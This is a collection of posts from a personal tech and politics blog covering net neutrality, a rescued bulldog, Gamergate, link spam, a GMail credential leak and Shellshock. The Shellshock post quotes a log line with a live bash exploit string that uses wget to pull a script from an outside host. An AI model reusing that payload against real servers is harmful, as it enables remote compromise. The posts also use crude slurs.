Ted Cruz: Stupid or Evil?

Since this is a nerd blog, Your JoeDog tries to avoid politics. Afterall, who gives a shit what he thinks, amirite? As you may have guessed, that’s a segue. You know what follows that segue, don’tcha? That’s right: politics.

Today we will discuss a particular senator from the great state of Texas. Your nerdblogger has never been to Texas so he’s not sure if it’s great. Texans tell him, “Don’t Mess With Texas” so, um, “great state” it is!

Texas is represented by a particular senator whose mind droppings may interest the readers of this blog. Those mental farts provide useful insight into his character and the policies he’d like to enact. Unfortunately, they don’t tell us much about the senator himself but this much is certain: Ted Cruz is either the dumbest motherfscker on the Internets or a diabolical genius.

A couple days ago, Cruz dropped this loaf on the Internets:

When you regulate a public utility, it calcifies it — it freezes it in place. Let’s give a simple contrast. The Telecommunications Act of 1934 was adopted to regulate these [pulls out an old rotary phone]. To put regulations in place and what happened? It froze everything in place. This (rotary phone) is regulated by Title II. [displays an iPhone] This is not.

That’s right, Senator Dingleberry claims the Communications Act of 1934 kept land lines in rotary stagnation while smart phones have thrived, free of government’s heavy hand. Funny thing. Smart phones are regulated under the same jurisdiction as rotary phones. Ever hear of the FCC? It was created by the — wait for it — Communications Act of 1934 and it has the power to regulate cell phone providers. As a sitting senator, he probably knows that. Afterall, he’s on the subcommittee of Communications, Technology, and the God Damn Internet — no, really, that’s the subcommittee’s actual name … we’re told, anyway.

Net Neutrality has nothing to do with changing the Internets. It’s about keeping them the same — exactly the same. It’s about ensuring ISPs can’t extract fees from content providers, throttle competitors or marginalize small enterprises like this little nerdblog. It’s about treating the Internets as a public utility. It’s about ensuring all content providers operate on an even playing field — may the best ones win.

Your JoeDog is told Ted Cruz is smart (he’s not sure if that’s true, but that’s what he’s told.) If Senator Smarty Pants is indeed an intelligent man, then he’s lying to you in that video. He’s intentionally distorting reality in order to promote a political agenda. He’s creating “Death Panels” for the Internets in order to appease his political benefactors. And that, my nerd blog friends, is worse than being stupid.

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Ted Cruz (R-Retard) Gets Splained By The Oatmeal

Ted Cruz recently compared Net Neutrality with Obamacare. They’re exactly alike if by “exactly alike” you mean “have nothing in common.” The Oatmeal tries to explain why the analogy is flawed. That’s probably an impossible task. You can’t make a senator understand a concept if his financial contributions depend on his ignorance. Anyway, enjoy the strip….

[The Oatmeal: Dear Senator Ted Cruz]

UPDATE: Gizmodo weighs in 

UPDATE: Pr0n stars weigh in

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Baby Cow!

baby-cowMeet the newest member of the JoeDog family. This is Baby Cow — with her markings she looks like a little tiny baby cow.

She was abused by a Mennonite farmer who tried to breed her. When that failed he tied her to a pole along a highway with a sign that read “Free bulldog.” By chance, a member of the Long Island Bulldog Rescue happened to see her. She stopped and called the state agency which enforces puppy mill laws. The farmer was fined.

That night Your JoeDog had three beers at a local brewery. Mrs. JoeDog saw an announcement on the Long Island Bulldog Rescue’s Facebook page. They needed someone to foster this dog. Your JoeDog reluctantly agreed because … well, did he mention three beers?

When Baby Cow arrived she was in sorry shape. Her eyes were cloudy and her rear legs were both injured. At first the vet suspected glaucoma but it turns out they were irritated by her lashes. Baby Cow’s legs were another story. She had two torn ACLs, probably the result of standing long hours on top of chicken wire. Puppy Mill breeders frequently stack their dogs in chicken wire crates. You don’t want to be the bottom dog. That one gets peed and pooped on by the dogs above.

She’s already had one operation to fix her eyes. Aren’t they beautiful? She still needs two more to fix her rear legs. LIBR promised to pay for those operations in January. They are promised grant money from a large national pet store chain. (Your JoeDog is unsure if he can mention the name so he’ll keep it to himself for now.) If the grant falls through, he’ll try to raise it himself.

Your JoeDog may have reluctantly agreed to take her, but he’s not letting her go anywhere now. As Mrs JoeDog says, “That’s Your Baby Cow.”

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Check Your Inputs: SQL Injection Edition

Here’s a question which tends to make Your JoeDog cringe: “So, what do you do?”

It’s often asked when he has a drink in his hand. And when he has a drink in hand, he doesn’t want to talk about work. Sometimes the inquiring person hears the answer, parses “computers” and wants to know why their laptop is slow. Honestly, Your JoeDog has no idea. Occasionally, he meets another nerd who wants to talk shop.

Recently he met a web nerd, the kind of web nerd who suffers from illusory superiority because he lacks the skill to recognize his ineptitude. These guys often contain a conspiratorial streak. This guy was no exception. The conversation soon shifted to hacking and web security.

Web Nerd puked a word salad of vulnerabilities but his beloved PHP was exonerated. “You can’t inject SQL because the mysql libs don’t allow multiple statements,” he said.

Couple points. 1.) the PHP mysql_ functions are deprecated. Astute JoeDog readers use PDO or MySQLi. 2.) You can still do injection as long as you keep it in a single statement.

Let’s try that after the jump!

Continue reading “Check Your Inputs: SQL Injection Edition” »

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Your JoeDog hasn’t weighed in on Gamergate largely because he’s not a gamer. Unfortunately, it’s become too big to ignore. If you write about technology you’re almost required to have an opinion. So here’s an opinion: some guys are a bag of dicks.

Whoa, hold on.  First of all, what is Gamergate?

As far as I can tell, it began with an accusation. Well, first it began with a game, then an accusation.

Zoe Quinn released Depression Quest, an unusual game that caused a stir in the community. It’s a saga in which you follow the tribulations of a person going through depression. What makes it particularly unusual is this: nobody goes postal with an AR-15. Some liked it while others thought it wasn’t a game at all. To them it was some sort of interactive story. So Gamergate began as an esoteric argument about the nature of gaming. It might have stayed that way if not for that accusation.

In August Zoe Quinn’s boyfriend posted a lengthy indictment in which he claimed she cheated on him with several guys inside the gaming industry. She did this, Angry Ex-boyfriend said, in order to get ahead in the industry. He named a writer from Kotaku, which is part of the Gawker network. What makes this writer especially loathsome to Angry Ex-boyfriend is a penchant for red pants. (Full disclosure: Your JoeDog has a pair of red pants). Well if Zoe slept with Red Pants to get ahead,  then she failed in that regard. It doesn’t appear that Depression Quest was ever mentioned on that site.

It didn’t matter. After the charge was made, social media lit up in a shit storm. Under the guise of a debate on journalistic ethics, things turned nasty. Quinn’s personal information was published online. So were nude photos. She became the target of personal attacks. But it didn’t stop there. The war expanded and more women inside the industry were threatened. The FBI is taking the matter seriously. Gamergate became another front in the Culture War.

On one side we have traditional gamers who love blowing shit up while getting virtually blown. On the other we have newcomers who like the challenge of gaming but don’t care for the industry’s violence and misogynism. Breitbart added its voice in the beginning of September. Feminists, in their eyes, were wrecking the gaming industry. The nature of gaming had morphed into rightards vs. libtards on another front.

Your JoeDog is basically sick of this shit. Disagreements are one thing but threats are another. We can no longer face challenges because half the world is convinced the other half is evil. The women who’ve become the focus of gamer scorn have been forced into hiding due to personal threats. That’s not dialog, that’s terrorism. And if that’s your preferred tactic, then you’re pretty much a bag of dicks.



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I don’t know about you, but Your JoeDog is shell shocked. His logs are filled with stuff like this: – – [25/Sep/2014:16:42:37 -0400] “GET /cgi-sys/defaultwebpage.cgi HTTP/1.1″ 301 – “-” “() { :;}; /bin/bash -c \”/usr/bin/wget http://singlesaints.com/firefile/temp?h=joedog.org -O /tmp/a.pl\””

So what’s happening here? Basically, some asshole is trying to exploit last week’s widely publicized bash shell vulnerability to invoke wget and pull down a perl script named “a.pl”

First of all, Your JoeDog hates scripts with an extension to designate the language in which they were coded. The person running the script doesn’t care what language it runs under. The computer will read the sh-bang line (#!/bin/perl) and call the appropriate interpreter. What’s the point of adding .pl? When you attack JoeDog’s computers please do so without a file extension, mmmmkay?

Second of all, he’s not going to find wget. On Your JoeDog’s computer it was installed in /bin/wget. But don’t bother trying to invoke it from there either. In accordance with best practice, it was moved it to a non-standard location. (You should do that, too.)

So while many of us are annoyed with this vulnerability, security firms and tech news companies are peeing themselves with excitement.

Dice tells us about ThreatStream, a cyber intelligence firm who’ve released ShockPot, a shell-shock honey pot. You can set it up on an publicly accessible server and watch knuckleheads try to ‘sploit you. Sounds like somebody needs a hobby.

Dice downloaded the software package and set it up on Linode, a Linux hosting site. Within a few days, they were shell-shocked seven times. Instead of wasting their time with honey pots, they could come over here and tail Your JoeDog’s logs. He was attacked 18 times in the last eight hours.

NOTE: The script they tried to pull was hosted on singlesaints.com, a Mormon dating site located in Utah. Your JoeDog attempted to snag that file for examination and they blocked his request.

HTTP request sent, awaiting response... 403 Forbidden

Props to all the single Mormon nerds who helped fix that issue in a timely fashion.



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Beer Makes You Smarter

Many of you are programmers which means you drink coffee. After all, what is a programmer but a device that turns caffeine into code? After a long day of coding nothing takes the edge off like a nice cool beer. I’ll bet many of you drink that beverage, too. Hey, look! Important beer news from the Pacific Northwest

Researchers at Oregon State University discovered that doses of xanthohumol, a flavonoid found in hops, improved memory and thinking in a lucky group of mice.

If beer makes you smarter, then we’ll be even better programmers amirite?

it would require drinking 2,000 liters of beer a day (or 5,636 bottles of beer) to ingest the amount of xanthohumol used in the study.

The first fifty-six-hundred go down easy, it’s those last few that require a little extra effort….



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Link Spammers Are A Bag Of Dicks

This big, cruel world is filled with all sorts of social rifts. Some of you are liberal while others are conservative. Some believe in God while others like to sleep in on Sunday. We’re deeply divided but there’s one thing we can all agree on: link spammers are a bag of dicks!

Your JoeDog is up to his armpits in spam. And if you’re a link spammer spamming this post, go /sbin/fsck yourself.

Google created these monsters. It awards points to sites with incoming links. But here’s the thing: it can’t be just any link. Back in the day, link-weenies created link farms to bump their SEO. A few years ago, the search engine giant started penalizing those type of links. As a result, link spammers now work overtime to add links to your website.

So they’re shitheads. But here’s the thing about these shitheads: they’re nicer than the average Internet. Gawker once chronicled a nasty flame war on a comment thread about a cake recipe. People are nasty but link spammers are nice.

They post compliments! Seriously, they have nothing but nice things to say about you or your site. They appeal to your ego with the hope that your vanity preserves their links.

Frankly, this makes them easier to root out of the comment queue. When I see, “Best site on the ….” kerplunk! I don’t need another word to know that’s spam. But if a comment begins, “Hey, asshole …” well, I need to keep reading because it’s probably legitimate commentary.

To combat this scourge, Your JoeDog uses Akismet. As a C-List nerdblogger, he can’t afford to give them much money but he can give them a linky! Oh! That’s two linkies. Wait, what? You’d rather have money. I give you guys $12.00 a year how much more do you want??!!

Akismet works pretty darn well. For each spammer who manages to find his way onto the comment queue, Akismet deletes hundreds of others ones. The company claims it’s saved Your JoeDog 52 days in comment management since he started using their service. That sounds about right.

Your JoeDog highly recommends Akismet and if your site actually makes money he encourages you to slip them a little more than $12.00 a year.

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Here’s What We Know About The GMail Hacking Incident

Yesterday there was a flurry of reports about five million hacked GMail accounts that were posted online. A large number of people were understandably alarmed. This is the type of breach that can expose a victim to identity theft.

The GMail credentials first appeared on btcsec.com, a bitcoin security forum. They were posted by someone named TVSkit. He was described as Russian, probably due to his penchant for funny characters since the forum is a Russian language site.

Soon after the initial wave of reports, Google weighed in on its security blog. The company harvested the posted login credentials and checked them against their internal records. According to the company, less than 2% were valid and even fewer could be used to access an account.

In the wake of this report, there was another round of breaking news. Google probably wasn’t hacked but you should probably change your password anyway, the media said as it turned its attention to the next shiny object. No. What you should do is setup two-step verification.

In all likelihood, this stir was caused by an adolescent copy-and-paste hacker who grabbed someone else’s credential sheet and used it to bolster a claim about a non-existent GMail breach.


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Facebook: How To Stop Videos From Playing Automatically

A few months ago, Facebook changed its policy and began setting videos to auto-play. This is particularly annoying on phones and tablets where you can pay for data usage. But it’s also annoying on web browsers. Your JoeDog uses the Vimium plug-in for Chrome which gives him vi-bindings for navigation. He scrolls down with ‘j’ and up with ‘k’. Auto-play breaks vimium. Oh, noes!!1!!!1!

Here’s how to to stop videos from auto-playing on Facebook.

First navigate to Settings. On mobile, it should be an option on the left hand navigation menu. In your browser it’s a little more tricky to find. Look for the privacy menu on the top blue banner. It’s a small menu with a lock:


This will present a Privacy menu. Scroll down to the bottom to “See More Settings”  Click that and it will take you to the Privacy and Tools page. On the left hand side you’ll see a navigation menu. Look for “Videos.” On my nav it’s the last item. That link will take you to Video Settings. From there you can turn off Auto-Play

Annoyance resolved.




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